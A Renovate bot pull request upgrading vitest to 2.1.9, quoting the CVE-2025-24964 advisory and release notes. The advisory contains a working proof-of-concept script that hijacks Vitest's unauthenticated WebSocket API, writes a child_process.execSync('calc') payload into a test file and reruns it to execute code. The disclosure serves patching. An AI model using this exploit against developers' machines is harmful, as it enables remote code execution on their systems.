Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) 2.1.2 -> 2.1.9 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies label Feb 4, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 7 times, most recently from bf47cf7 to 5c9e731 Compare February 10, 2025 01:03
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 8 times, most recently from 5d44a49 to 95a5b72 Compare February 18, 2025 16:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 5 times, most recently from 2d9a1e3 to 2d2ca0d Compare February 25, 2025 11:14
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 9 times, most recently from 79f9d79 to 9dd83bb Compare March 6, 2025 07:24
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 6 times, most recently from d9db1f1 to 4515aaf Compare April 3, 2025 14:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 6 times, most recently from 67ba1f0 to 490d5ed Compare April 10, 2025 21:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 63a71df to df54483 Compare April 17, 2025 16:25
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from 300df33 to 833f003 Compare May 1, 2025 02:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 833f003 to 3efd25f Compare May 19, 2025 19:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 6fb9f38 to f8975ec Compare June 4, 2025 06:44
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f8975ec to 5978a43 Compare June 22, 2025 13:38
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5978a43 to 6f8af30 Compare July 2, 2025 17:25
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f02c56d to 3393f54 Compare August 13, 2025 15:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3393f54 to c4e275b Compare August 19, 2025 16:10
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from c4e275b to e0fa756 Compare August 31, 2025 10:44
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e0fa756 to 0f3c3c5 Compare September 25, 2025 20:22
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 0f3c3c5 to b12b3ed Compare October 21, 2025 16:38
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant